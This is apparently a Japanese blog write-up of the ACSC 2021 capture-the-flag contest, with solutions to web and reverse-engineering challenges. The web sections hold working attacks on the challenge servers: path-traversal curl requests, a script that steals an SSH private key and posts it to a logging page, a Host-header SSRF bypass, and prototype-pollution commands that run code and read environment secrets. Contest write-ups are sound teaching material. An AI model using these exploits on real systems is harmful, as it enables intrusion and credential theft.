st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Asian Cyber Security Challenge (ACSC) 2021 writeup

9/18 - 9/19という日程で開催された。このCTFは個人戦で、総合順位は4位、(今年の1/1時点で25歳以下であり、アジアの一部の国の国籍を持つという)決勝大会への参加資格を持つ人の中では2位だった。日本国内でも2位で、来年の6月にアテネで開催される予定の決勝大会にたぶん参加できるらしく嬉しい。


[Warmup 1] welcome (429 solves)

Discordサーバに入るとフラグが得られた。いつものやつ。

ACSC{welcome_to_ACSC_2021!}

[Web 220] API (107 solves)

与えられたURLにアクセスするとログインフォームが表示される。通常利用できる機能はユーザの登録、ログイン、ログアウトのみ。

function main($acc){
    gen_user_db($acc);
    gen_pass_db();
    header("Content-Type: application/json");
    $user = new User($acc);
    $cmd = $_REQUEST['c'];
    usleep(500000);
    switch($cmd){
        case 'i':
            if (!$user->signin())
                echo "Wrong Username or Password.\n\n";
            break;
        case 'u':
            if ($user->signup())
                echo "Register Success!\n\n";
            else
                echo "Failed to join\n\n";
            break;
        case 'o':
            if ($user->signout())
                echo "Logout Success!\n\n";
            else
                echo "Failed to sign out..\n\n";
            break;
    }
    challenge($user);
}

adminになれれば、以下のコードからわかるようにユーザ一覧の取得やある文字列がフラグであるかどうかの確認などの機能も利用できるようになる。adminでなければ /api.php にリダイレクトされる。

function challenge($obj){
    if ($obj->is_login()) {
        $admin = new Admin();
        if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
        $cmd = $_REQUEST['c2'];
        if ($cmd) {
            switch($cmd){
                case "gu":
                    echo json_encode($admin->export_users());
                    break;
                case "gd":
                    echo json_encode($admin->export_db($_REQUEST['db']));
                    break;
                case "gp":
                    echo json_encode($admin->get_pass());
                    break;
                case "cf":
                    echo json_encode($admin->compare_flag($_REQUEST['flag']));
                    break;
            }
        }
    }
}

が、redirect の実装を見ると exit もしくは die が呼び出されておらず、以降の処理も続けて実行されてしまうため、結局のところadminでもadminでなくてもadmin向けの export_users などのメソッドが呼び出せてしまうことがわかる。

 public function redirect($url, $msg=''){
        $con = "<script type='text/javascript'>".PHP_EOL;
       if ($msg) $con .= "\talert('%s');".PHP_EOL;
       $con .= "\tlocation.href = '%s';".PHP_EOL;
       $con .= "</script>".PHP_EOL;
        header("location: ".$url);
        if ($msg) printf($con, $msg, $url);
        else printf($con, $url);
    }

admin向けの機能である export_db の実装を確認する。指定したファイルを読み込んで返してくれる機能のようだ。is_pass_correct が呼ばれていることからわかるように $this->db['path'] の内容を pas というGETパラメータから与えないといけないが、まさにそれを返してくれる get_pass もadmin向けの機能として呼び出せてしまう。

 public function export_db($file){
        if ($this->is_pass_correct()) {
            $path = dirname(__FILE__).DIRECTORY_SEPARATOR;
            $path .= "db".DIRECTORY_SEPARATOR;
            $path .= $file;
            $data = file_get_contents($path);
            $data = explode(',', $data);
            $arr = [];
            for($i = 0; $i < count($data); $i++){
                $arr[] = explode('|', $data[$i]);
            }
            return $arr;
        }else 
            return "The passcode does not equal with your input.";
    }

// …

    public function is_pass_correct(){
        $passcode = $this->get_pass();
        $input = $_REQUEST['pas'];
        if ($input == $passcode) return true;
    }

// …

    public function get_pass(){
        return file_get_contents($this->db['path']);
    }

ユーザ登録 → get_pass からadmin向けの機能を利用するためのパスワードを取得 → export_db から /flag を取得という流れでフラグが得られた。

$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=u"
Register Success!
$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=i&c2=gp"
<script type='text/javascript'>
        location.href = '/api.php?#access denied';
</script>
":<vNk"
$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=i&pas=:<vNk&c2=gd&db=../../../../../flag"
<script type='text/javascript'>
        location.href = '/api.php?#access denied';
</script>
[["ACSC{it_is_hard_to_name_a_flag..isn't_it?}\n"]]
ACSC{it_is_hard_to_name_a_flag..isn't_it?}

[Web 230] Baby Developer (18 solves)

/ にアクセスするとフラグを返すWebサーバが動いている genflag、HTTPサーバとSSHサーバが動いており、後者にログインすると genflag にアクセスできフラグが得られる website、Redisサーバが動く redis、メインのWebサーバである mobile-viewer の4つのコンテナが動いているWebアプリケーションが与えられる。表からアクセスできるのは websiteSSHサーバと mobile-viewer のみだ。

mobile-viewer を見ていく。これはURLを与えるとChromiumでアクセスし、16x16のサイズでスクリーンショットを撮影して返してくれる。一応 genflag にもアクセスさせられるが、genflag 側では以下のように User-AgentiPhone が含まれていないか確認されているし、mobile-viewer によるアクセスはまさにその条件に当てはまってしまうのでダメ。

@app.route('/flag')
def hello_world():
    if request.remote_addr == dev and 'iPhone' not in request.headers.get('User-Agent'):
        fp = open('/flag', 'r')
        flag = fp.read()
        return flag
    else:
        return "Nope.."

website を見ていく。ソースコードとして以下のような Dockerfile が与えられている。鍵の生成などのSSHのための設定を行った後にSSHサーバを立ち上げ、stypr/harold.kim をcloneしてきてWebサーバを立ち上げている。リポジトリpackage.json を見るにVitepressを使っているらしい。

FROM node:lts-buster
WORKDIR /srv/
RUN apt-get update && apt-get -y install ssh

# For remote ssh from the library PC
RUN useradd -d /home/stypr -s /home/stypr/readflag stypr && \
    mkdir -p /home/stypr/.ssh/ && ssh-keygen -q -t rsa -N '' -f /home/stypr/.ssh/id_rsa && \
    cp /home/stypr/.ssh/id_rsa.pub /home/stypr/.ssh/authorized_keys

# Challenge: get flag!
RUN touch /home/stypr/.hushlogin && \
    echo '#include <stdio.h>\r\n#include <stdlib.h>\r\nint main(){FILE *fp;char flag[1035];fp = popen("/usr/bin/curl -s http://genflag/flag", "r");if (fp == NULL) {printf("Error found. Please contact administrator.");exit(1);}while (fgets(flag, sizeof(flag), fp) != NULL) {printf("%s", flag);}pclose(fp);return 0;}' > /home/stypr/readflag.c && \
    gcc -o /home/stypr/readflag /home/stypr/readflag.c && \
    chmod +x /home/stypr/readflag && rm -rf /home/stypr/readflag.c

# Run dev version of harold.kim
RUN git clone https://github.com/stypr/harold.kim
RUN cd harold.kim && yarn install

CMD ["sh", "-c", "service ssh start && cd /srv/harold.kim/ && yarn build && yarn dev --port 80 2>&1 >/dev/null"]

Viteのissueを眺めていると、/@fs/etc/passwd のような感じでPath Traversalができるという脆弱性があるらしいことがわかった。試しにローカル環境で mobile-viewer でシェルを立ち上げて curl http://website/@fs//home/stypr/.ssh/id_rsa してみるとSSH用の秘密鍵が得られてしまった。

さて、これをChromiumで行うにはどうすればよいだろうか。16x16の小さなスクリーンショットではろくな情報が得られない。iframe で開かせてCSSposition: absolutetopleft などを設定して位置を調整し、1~2文字ずつ抽出する手が考えられる。が、1分に6回までしか抽出できない制約がありつらい。

website が返すヘッダをよく見ると、Access-Control-Allow-Origin: * が付いていた。これなら違うオリジンからも内容が取得できてしまう。スクリーンショットはいらなかった。次のようなHTMLを用意して mobile-viewerChromiumにアクセスさせる。すると、log.php秘密鍵がPOSTされた。

<script>
(async () => {
  const r = await fetch('http://website/@fs//home/stypr/.ssh/id_rsa', { mode: "cors" });
  const t = await r.text();
  navigator.sendBeacon('log.php', t);
})();
</script>

この秘密鍵を使って websiteSSHサーバにログインするとフラグが得られた。

$ chmod 600 id_rsa
$ ssh stypr@baby-developer.chal.acsc.asia -p2222 -i id_rsa
ACSC{weird_bugs_pwned_my_system_too_late_to_get_my_CVE}

Connection to baby-developer.chal.acsc.asia closed.
ACSC{weird_bugs_pwned_my_system_too_late_to_get_my_CVE}

[Web 330] Favorite Emojis (46 solves)

web (nginx) と apirenderer (tvanro/prerender-alpine) という3つのコンテナが動いているWebアプリケーションが与えられる。表からアクセスできるのは web だけで、これは以下のような設定で動いている。User-Agentbotっぽい文字列が含まれていれば renderer に見に行かせるらしい。

server {
    listen 80;
 
    root   /usr/share/nginx/html/;
    index  index.html;

    location / {
        try_files $uri @prerender;
    }
 
    location /api/ {
        proxy_pass http://api:8000/v1/;
    }
 
    location @prerender {
        proxy_set_header X-Prerender-Token YOUR_TOKEN;
        
        set $prerender 0;
        if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") {
            set $prerender 1;
        }
        if ($args ~ "_escaped_fragment_") {
            set $prerender 1;
        }
        if ($http_user_agent ~ "Prerender") {
            set $prerender 0;
        }
        if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") {
            set $prerender 0;
        }
 
        if ($prerender = 1) {
            rewrite .* /$scheme://$host$request_uri? break;
            proxy_pass http://renderer:3000;
        }
        if ($prerender = 0) {
            rewrite .* /index.html break;
        }
    }
}

Host ヘッダに example.com を入れてHTTPリクエストを送ると /$scheme://$host$request_uri? にそのまま展開され、renderer が取ってきた example.com のコンテンツを返す。フラグは以下からわかるように api/ が返すから、rendererapi:3000 にアクセスさせたい。一方で、nginxの設定のrewriteルールを見ればわかるようにポート番号は挿入されないから、Host: api:3000 のようなヘッダを送るだけではアクセスさせられない。

FLAG = os.getenv("flag") if os.getenv("flag") else "ACSC{THIS_IS_FAKE}"

app = Flask(__name__)
emojis = []


@app.route("/", methods=["GET"])
def root():
    return FLAG

色々試していると、api:3000 のように : をU+FF1Aに変えるだけでバイパスできた。

$ curl --path-as-is -H "User-Agent: googlebot" http://favorite-emojis.chal.acsc.asia:5000 -H "Host: api:8000"
<html><head></head><body>ACSC{sharks_are_always_hungry}</body></html>
ACSC{sharks_are_always_hungry}

[Web 370] Cowsay as a Service (33 solves)

名前を入力すると cowsay を使って牛に喋ってもらえる便利なアプリケーションが与えられる。文字の色も変えられるなど、機能が充実している。

f:id:st98:20210920030130p:plain

文字色の変更は以下のAPIを使って行われている。/setting/color{"value":"#ff0000"} のようなJSONを投げると、settings という変数から現在ログインしているユーザの設定を引っ張り出してきて、そこに書き込むらしい。ユーザ名のチェックはまったくないので、例えばユーザ名が __proto__ である場合には settings[ctx.state.user]Object.prototype を返し、さらに setting[ctx.params.name] = ctx.request.body.valueObject.prototype[name] = value 相当のことができる。Prototype Pollutionだ。

const settings = {};

// …

router.post('/setting/:name', (ctx, next) => {
  if (!settings[ctx.state.user]) {
    settings[ctx.state.user] = {};
  }
  const setting = settings[ctx.state.user];
  setting[ctx.params.name] = ctx.request.body.value;
  ctx.redirect('/cowsay');
});

使えるgadgetがないか調べていると、Kibanaで発見されたCVE-2019-7609の記事がヒットした。この記事では child_process.spawn から呼び出されている normalizeSpawnArguments 内に const env = options.env || process.env; という処理があるために、Object.prototype.env にオブジェクトを入れておけばOSコマンドの実行時に環境変数を操作できてしまうというgadgetが使われている。このWebアプリケーションでも child_process.spawnSynccowsay の呼び出しに使われているから利用できそうだ。

ほかにもこの関数にgadgetがないか探していると、options.shell を参照している処理が見つかった。Object.prototype.shell/usr/local/bin/node を、Object.prototype.env は先ほどの記事を参考に {"AAA":"(コード)","NODE_OPTIONS":"--require /proc/self/environ"} を入れればRCEに持ち込めるはずだ。

フラグは環境変数にある。child_process.spawnSync から呼び出されたNode.jsは環境変数が汚れてしまっているので、別のプロセスの /proc/…/environ を読んでしまえばよい。

$ curl 'http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/setting/shell' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: username=__proto__' \
  --data-raw '{"value":"/usr/local/bin/node"}'
Redirecting to <a href="/cowsay">/cowsay</a>.

$ curl 'http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/setting/env' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: username=__proto__' \
  --data-raw '{"value":{"AAA":"console.log(require(`fs`).readFileSync(`/proc/1/environ`).toString())//","NODE_OPTIONS":"--require /proc/self/environ"}}'
Redirecting to <a href="/cowsay">/cowsay</a>.

$ curl "http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/cowsay?say=a" --output -
…
<pre style="color: #000000" class="cowsay">
NODE_VERSION=16.9.1HOSTNAME=38ee80afc568YARN_VERSION=1.22.5HOME=/home/nodeCS_USERNAME=hemwIdPEaGRqLSYTPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binCS_PASSWORD=FqPkMVJuBvsHypGfPWD=/usr/src/appFLAG=ACSC{(oo)<Moooooooo_B09DRWWCSX!}

</pre>
ACSC{(oo)<Moooooooo_B09DRWWCSX!}

[Rev 170] sugar (26 solves)

disk.imgOVMF.fd などのファイルが与えられた。指示通りQEMUで実行してみると、以下のようにフラグを入力せよと言われた。disk.img にはUEFIアプリケーションが含まれており、これを解析する問題らしい。

$ qemu-system-x86_64 -L . -bios OVMF.fd -drive format=raw,file=disk.img -net none -nographic
Input flag:

適当なバイナリエディタdisk.img を開き、MZ で検索するとUEFIアプリケーションのPEが抽出できる。IDA Freewareで静的解析していく。このPEに含まれる文字列を見ていると、Correct! やら Input flag: やら怪しいものがあった。どれも同じ関数から参照されており、おそらくそこでフラグがチェックされているのだろう。

f:id:st98:20210920021614p:plain

この関数では、まず入力を求めた後に、それが38文字であり、ACSC{} で囲まれていることを確認している。しばらくよくわからない処理が続くが、失敗するとAesInitAesCbcEncrypt といった文字列を含むエラーメッセージを吐くところからAESで何かしらを復号しているのだろうと推測できる。

f:id:st98:20210920022629p:plain

最後にユーザ入力の6文字目以降から32文字を切り取り、おそらくそれを16進数表記として解釈してデコードした上で var_450 と比較している。

f:id:st98:20210920022656p:plain

この var_460 に何が入るか確認したい。QEMUコマンドラインオプションに -s -S を加え、gdb で接続する。Wrong! と出力するか Correct! と出力するかが決まる jzブレークポイントを設定した上で continue させる。

$ ./qemu-system-x86_64 -L . -bios OVMF.fd -drive format=raw,file=disk.img -net none -nographic -s -S    
$ gdb
target remote localhost:1234
b *0x0000000006668627
c

$rbp-0x450 を見てみると、以下のようなバイト列が入っていた。これをhexエンコードして ACSC{} で囲めばフラグになる。

(gdb) x/16bx $rbp-0x450
0x7ea4500:      0x91    0xe3    0xde    0x70    0x5d    0xee    0x88    0x1d
0x7ea4508:      0xcb    0xa8    0x4e    0x84    0x0f    0xeb    0x0e    0x24
ACSC{91e3de705dee881dcba84e840feb0e24}

[Rev 220] Pickle Rick (23 solves)

chal.py という以下のPythonコードと、rick.pickle というファイルが与えられる。3.9以上のPythonで実行すると rick.pickle をunpickleするようだ。

# /usr/bin/env python3
import pickle
import sys

# Check version >= 3.9
if sys.version_info[0] != 3 or sys.version_info[1] < 9:
    print("Check your Python version!")
    exit(0)

# This function is truly amazing, so do not fix it!
def amazing_function(a, b, c=None):
    if type(b) == int:
        return a[b]
    else:
        return (
            f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
        )


with open("rick.pickle", "rb") as f:
    pickle_rick = f.read()

rick_says = b"Wubba lubba dub-dub!!"  # What is the right input here?
assert type(rick_says) == bytes and len(rick_says) == 21
pickle.loads(pickle_rick)

とりあえず実行してみると以下のように出力された。chal.pyrick_says に格納した文字列が合っているかどうかチェックしてくれるらしい。

root@13346db59d34:~# python chal.py
...
Pickle Rick says:
b'Wubba lubba dub-dub!!'
The flag machine says:
WRONG!

rick.pickleを読む

まず rick.picklepickletools で逆アセンブルする。

import pickletools
with open('rick.pickle', 'rb') as f:
  s = f.read()
pickletools.dis(s)

アセンブルされたコードを見ていくと、最初にいくつかのメッセージを print している様子が確認できる。

    0: c    GLOBAL     'builtins print'
   16: T    BINSTRING  '\n...'
17122: \x85 TUPLE1
17123: R    REDUCE
17124: c    GLOBAL     'builtins print'
17140: S    STRING     'Pickle Rick says:'
17161: \x85 TUPLE1
17162: R    REDUCE
17163: c    GLOBAL     'builtins print'
17179: c    GLOBAL     '__main__ rick_says'
17199: \x85 TUPLE1
17200: R    REDUCE
17201: c    GLOBAL     'builtins print'
17217: S    STRING     'The flag machine says:'
17243: \x85 TUPLE1
17244: R    REDUCE

その後に複雑なタプルの定義が続く。

17245: J    BININT     115
17250: \x85 TUPLE1
17251: J    BININT     99
17256: \x85 TUPLE1
17257: \x86 TUPLE2
17258: J    BININT     97
17263: \x85 TUPLE1
17264: J    BININT     162
17269: \x85 TUPLE1
...
19032: \x86 TUPLE2
19033: \x86 TUPLE2
19034: \x86 TUPLE2
19035: \x86 TUPLE2
19036: \x94 MEMOIZE    (as 0)

その後 type(amazing_function)type(getattr(amazing_function, '__code__')) によって functioncode を取り出している。それらを利用して searchmix という謎の関数を定義している。

19038: c    GLOBAL     'builtins type'
19053: c    GLOBAL     '__main__ amazing_function'
19080: \x85 TUPLE1
19081: R    REDUCE
19082: c    GLOBAL     'builtins type'
19097: c    GLOBAL     'builtins getattr'
19115: c    GLOBAL     '__main__ amazing_function'
19142: S    STRING     '__code__'
19154: \x86 TUPLE2
19155: R    REDUCE
19156: \x85 TUPLE1
19157: R    REDUCE
19158: (    MARK
19159: J        BININT     2
19164: J        BININT     0
19169: J        BININT     0
19174: J        BININT     5
19179: J        BININT     6
19184: J        BININT     67
19189: B        BINBYTES   b'd\x01}\x02zB|\x00\\\x02}\x03}\x04|\x01d\x02\x16\x00|\x02k\x02r0|\x04}\x00|\x01d\x02\x1c\x00}\x01d\x03|\x02\x18\x00}\x02n\x14|\x03}\x00|\x01d\x02\x1c\x00}\x01d\x03|\x02\x18\x00}\x02W\x00q\x04\x01\x00\x01\x00\x01\x00|\x00d\x01\x19\x00\x06\x00Y\x00S\x000\x00q\x04d\x00S\x00'
19292: (        MARK
...
19417: R    REDUCE
19418: }    EMPTY_DICT
19419: \x86 TUPLE2
19420: R    REDUCE
19421: \x94 MEMOIZE    (as 1)

rick_says を取り出して mix した後に、tuple(search((複雑なタプル), x) for x in mix(rick_says)) のような感じでその要素をひとつずつ search に投げて、その結果をタプルとして取得している。

19873: c    GLOBAL     '__main__ rick_says'
19893: \x85 TUPLE1
19894: R    REDUCE
19895: \x94 MEMOIZE    (as 2)
19896: 0    POP
19897: c    GLOBAL     'builtins print'
19913: c    GLOBAL     '__main__ amazing_function'
19940: (    MARK
19941: g        GET        1
19944: g        GET        0
19947: c        GLOBAL     '__main__ amazing_function'
19974: g        GET        2
19977: J        BININT     0
19982: \x86     TUPLE2
19983: R        REDUCE
19984: \x86     TUPLE2
19985: R        REDUCE
...
20886: t        TUPLE      (MARK at 19940)

そのタプルと (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) が一致していればOKなようだ。

20887: (    MARK
20888: J        BININT     53
20893: J        BININT     158
20898: J        BININT     33
20903: J        BININT     115
20908: J        BININT     5
20913: J        BININT     17
20918: J        BININT     103
20923: J        BININT     3
20928: J        BININT     67
20933: J        BININT     240
20938: J        BININT     39
20943: J        BININT     27
20948: J        BININT     19
20953: J        BININT     68
20958: J        BININT     81
20963: J        BININT     107
20968: J        BININT     245
20973: J        BININT     82
20978: J        BININT     130
20983: J        BININT     159
20988: J        BININT     227
20993: t        TUPLE      (MARK at 20887)
20994: c    GLOBAL     '__main__ rick_says'
21014: \x87 TUPLE3
21015: R    REDUCE
21016: \x85 TUPLE1
21017: R    REDUCE
21018: .    STOP

searchとmixを読む

searchmixバイトコードしか与えられていない。uncompyle6デコンパイルしてみようとしたが、どうやら対応していない命令が含まれているらしくできない。Pythonの公式ドキュメントの命令一覧を見ながら手でデコンパイルする。以下のようなPythonコードを使ってすぐにバイトコードを逆アセンブルした結果が見られるようにしておくと便利。

import dis

def search(a, b):
  return None

dis.dis(search)

c = pickle.loads(s[19038:19418] + b'.')code オブジェクトを作成する処理だけ切り抜いてunpickleしてやれば、c.co_varnamesc.co_consts から変数名や定数などの情報も得られる。これらの情報をもとに根性でデコンパイルすると以下のようになった。

def mix(a):
  ln = a.__len__()
  arr = []
  i = 0
  while i < ln:
    s, j = (0, 0)
    while j < ln:
      s += (j + 1) * a[(i + j) % ln]
      j += 1
    s %= 257
    arr.append(s)
    i += 1
  return arr

def search(a, b):
  c = 0
  while True:
    try:
      a0, a1 = a
      if b % 2 == c:
        a = a1
        b //= 2
        c = 1 - c
      else:
        a = a0
        b //= 2
        c = 1 - c
    except:
      return a[0]

あとはソルバを書いて実行するだけ。

from z3 import *

def amazing_function(a, b, c=None):
  if type(b) == int:
    return a[b]
  else:
    return (
      f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
    )

def mix(a):
  ln = a.__len__()
  arr = []
  i = 0
  while i < ln:
    s, j = (0, 0)
    while j < ln:
      s += (j + 1) * a[(i + j) % ln]
      j += 1
    s %= 257
    arr.append(s)
    i += 1
  return arr

xx = (((((((((115,), (99,)), ((97,), (162,))), (((81,), (225,)), ((215,), (72,)))), ((((111,), (229,)), ((64,), (155,))), (((212,), (66,)), ((95,), (200,))))), (((((177,), (45,)), ((206,), (18,))), (((140,), (47,)), ((122,), (19,)))), ((((186,), (123,)), ((91,), (94,))), (((26,), (104,)), ((119,), (88,)))))), ((((((44,), (82,)), ((58,), (139,))), (((193,), (101,)), ((209,), (213,)))), ((((65,), (16,)), ((164,), (124,))), (((150,), (149,)), ((132,), (1,))))), (((((79,), (236,)), ((131,), (196,))), (((113,), (194,)), ((185,), (4,)))), ((((107,), (36,)), ((181,), (218,))), (((120,), (40,)), ((142,), (11,))))))), (((((((183,), (129,)), ((51,), (125,))), (((6,), (222,)), ((13,), (161,)))), ((((141,), (109,)), ((100,), (175,))), (((153,), (252,)), ((117,), (127,))))), (((((54,), (156,)), ((62,), (167,))), (((160,), (198,)), ((152,), (211,)))), ((((178,), (21,)), ((73,), (214,))), (((253,), (135,)), ((105,), (190,)))))), ((((((85,), (12,)), ((243,), (34,))), (((137,), (233,)), ((128,), (228,)))), ((((151,), (8,)), ((247,), (92,))), (((60,), (174,)), ((138,), (114,))))), (((((130,), (169,)), ((15,), (103,))), (((230,), (106,)), ((158,), (57,)))), ((((76,), (5,)), ((84,), (210,))), (((32,), (39,)), ((165,), (87,)))))))), ((((((((184,), (237,)), ((28,), (207,))), (((75,), (172,)), ((176,), (231,)))), ((((37,), (195,)), ((232,), (182,))), (((25,), (201,)), ((188,), (61,))))), (((((163,), (251,)), ((227,), (2,))), (((46,), (35,)), ((71,), (250,)))), ((((246,), (38,)), ((136,), (255,))), (((199,), (29,)), ((20,), (242,)))))), ((((((238,), (126,)), ((17,), (179,))), (((148,), (220,)), ((240,), (86,)))), ((((59,), (145,)), ((80,), (189,))), (((224,), (170,)), ((24,), (143,))))), (((((0,), (10,)), ((166,), (77,))), (((41,), (203,)), ((31,), (90,)))), ((((239,), (191,)), ((197,), (112,))), (((159,), (118,)), ((157,), (244,))))))), (((((((226,), (216,)), ((43,), (49,))), (((70,), (93,)), ((50,), (78,)))), ((((7,), (208,)), ((96,), (202,))), (((89,), (108,)), ((168,), (235,))))), (((((3,), (254,)), ((146,), (55,))), (((9,), (180,)), ((241,), (121,)))), ((((98,), (110,)), ((68,), (83,))), (((63,), (42,)), ((69,), (52,)))))), ((((((30,), (221,)), ((27,), (248,))), (((33,), (147,)), ((205,), (14,)))), ((((56,), (116,)), ((173,), (192,))), (((53,), (74,)), ((234,), (223,))))), (((((154,), (67,)), ((187,), (217,))), (((23,), (134,)), ((171,), (102,)))), ((((22,), (204,)), ((249,), (245,))), (((219,), (144,)), ((48,), (133,)))))))))
def search(a, b):
  c = 0
  while True:
    try:
      a0, a1 = a
      if b % 2 == c:
        a = a1
        b //= 2
        c = 1 - c
      else:
        a = a0
        b //= 2
        c = 1 - c
    except:
      return a[0]

flag = [Int(f'x_{i}') for i in range(21)]
solver = Solver()
for c in flag:
  solver.add(0x20 <= c, c < 0x7f)

rick_says = mix(flag)

tmp = []
target = (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227)
for x in target:
  for y in range(256):
    r = search(xx, y)
    if r == x:
      tmp.append(y)
      break

print(tmp)

for c, d in zip(tmp, rick_says):
  solver.add(c == d)

c = solver.check()
print(c)
m = solver.model()
res = ''
for c in flag:
  res += chr(m[c].as_long())
print(res)

実行してしばらく待つとフラグが得られた。

$ python solve.py
...
YEAH!I'm_pickle-RICK!
ACSC{YEAH!I'm_pickle-RICK!}

[Rev 270] encoder (23 solves)

encoder というELFと、それによって暗号化されたらしき flag.jpg.enc というファイルが与えられる。以下の実行結果から推測できるように、どのように暗号化されるかは毎秒変わる。

$ echo AAAABBBBCCCCAAAA > test.txt
$ ./encoder test.txt; date; xxd test.txt.enc
Sun Sep 19 13:48:06 UTC 2021
00000000: 1c08 0381 2070 040e 0081 2010 0402 4080  .... p.... ...@.
00000010: 0814 8102 5020 0a04 81c0 1038 0207 e040  ....P .....8...@
00000020: 1001      
$ ./encoder test.txt; date; xxd test.txt.enc
Sun Sep 19 13:48:10 UTC 2021
00000000: 0004 8000 1000 0200 c040 1808 0301 2060  .........@.... `
00000010: 0408 0081 2010 0402 4000 0800 0100 0020  .... ...@...... 
00000020: 0c0d                                     ..
$ ./encoder test.txt; date; xxd test.txt.enc
Sun Sep 19 13:48:10 UTC 2021
00000000: 0004 8000 1000 0200 c040 1808 0301 2060  .........@.... `
00000010: 0408 0081 2010 0402 4000 0800 0100 0020  .... ...@...... 
00000020: 0c0d                                     ..

まずIDA Freewareで静的解析を試みたが、main 関数は以下のように mprotect を呼び出した後に無効な命令を実行してしまうようだ。

f:id:st98:20210919225033p:plain

よくバイナリを見ると、.init_array セクションでいくつもアドレスが登録されている。2つ目の関数を見てみると、以下のように sigaction4 というシグナルを受信した際に別の関数が呼び出されるように設定されていることがわかる。4SIGILL だ。main の最後に無効な命令が置かれていたのは、この関数を呼び出させるためだろう。

f:id:st98:20210919225615p:plain

ほかにも色々な解析妨害が施されており面倒だ。別の方法でバイナリの挙動を探る。

試しに rand を差し替えてみる。まず以下のCコードを gcc -shared -fPIC rand.c -o rand.soコンパイルする。NYAN=123 LD_PRELOAD=./rand.so ./encoder a.txt を何度も実行しても出力された a.txt.enc の内容は変わらない。暗号化のアルゴリズムrand に依存しているようだ。

#include <stdlib.h>
int rand(void) {
  return atoi(getenv("NYAN"));
}

ltrace で関数の呼び出しを見てみると、rand は一度しか呼び出されていないことがわかる。.init_array に登録されていた関数内のアレだろう。あの関数では rand() % 255 と剰余が取られていた。255通りなら総当たりできる。それで flag.jpg.enc が暗号化されたときの rand の返り値が特定できないか試してみる。

適当なJPEGを用意し、最初の数バイトを切り出す。続いて、for x in {0..254}; do NYAN=$x LD_PRELOAD=./rand.so ./encoder dummy.jpg; cp -p dummy.jpg.enc dust/$x.enc; done で255通りの暗号化を試す。以下のPythonスクリプトでそれらのファイルと flag.jpg.enc の最初の数バイトを比較してやると、flag.jpg.enc が暗号化されたときの rand() % 255 は80であるとわかった。

import glob
with open('flag.jpg.enc', 'rb') as f:
  s = f.read()
for fn in glob.glob('tmp/*'):
  with open(fn, 'rb') as f:
    t = f.read()
  if t == s[:len(t)]:
    print(fn)
$ python3 check.py 
tmp/80.enc

これを使って、なんとか復号できないだろうか。暗号化のアルゴリズムを探っていく。同じ文字が続くテキストファイルの暗号化を試していると、以下のようにファイルは1バイトずつ暗号化されて、1バイトにつき2バイトが出力されていることがわかる。どのように暗号化されるかはその文字の位置だけが影響し、直前の文字などは影響しない。また、それも16バイトでループする。

$ echo "AAAAAAAAAAAAAAAAAAAAAAAABAAAAA" > a.txt; NYAN=80 LD_PRELOAD=./rand.so ./encoder a.txt; xxd a.txt.enc
00000000: 181d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000010: 1d18 03a3 6074 8c0e d181 3a30 0746 c0e8  ....`t....:0.F..
00000020: 181d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000030: 1d14 03a3 6074 8c0e d181 3a30 0505       ....`t....:0..
$ echo "BAAAAAAAAAAAAAAAAAAAAAAABAAAAA" > a.txt; NYAN=80 LD_PRELOAD=./rand.so ./encoder a.txt; xxd a.txt.enc
00000000: 141d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000010: 1d18 03a3 6074 8c0e d181 3a30 0746 c0e8  ....`t....:0.F..
00000020: 181d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000030: 1d14 03a3 6074 8c0e d181 3a30 0505       ....`t....:0..

つまり、0から255までの値についてそれぞれ16通りの暗号化を試してテーブルを作成すれば、flag.jpg.enc の元のファイルが得られるはずだ。Pythonスクリプトを書く。

import os

payload = b''
for x in range(256):
  payload += bytes([x]) * 16
with open('tmp.bin', 'wb') as f:
  f.write(payload)
os.system('NYAN=80 LD_PRELOAD=./rand.so ./encoder tmp.bin')

table = {}
with open('tmp.bin.enc', 'rb') as f:
  for x in range(16):
    table[x] = {}
    for y in range(256):
      f.seek(32 * y + 2 * x)
      table[x][f.read(2)] = y

with open('flag.jpg.enc', 'rb') as f:
  i = 0
  res = b''
  while True:
    print(i)
    x = f.read(2)
    if x == b'':
      break
    res += bytes([table[i % 16][x]])
    i += 1

with open('flag.jpg', 'wb') as f:
  f.write(res)

実行すると flag.jpg.enc の元のファイルが取得でき、フラグが得られた。

f:id:st98:20210919232108j:plain

ACSC{it is too easy to recover this stuff, huh?}

[Rev 360] Tnzr (10 solves)

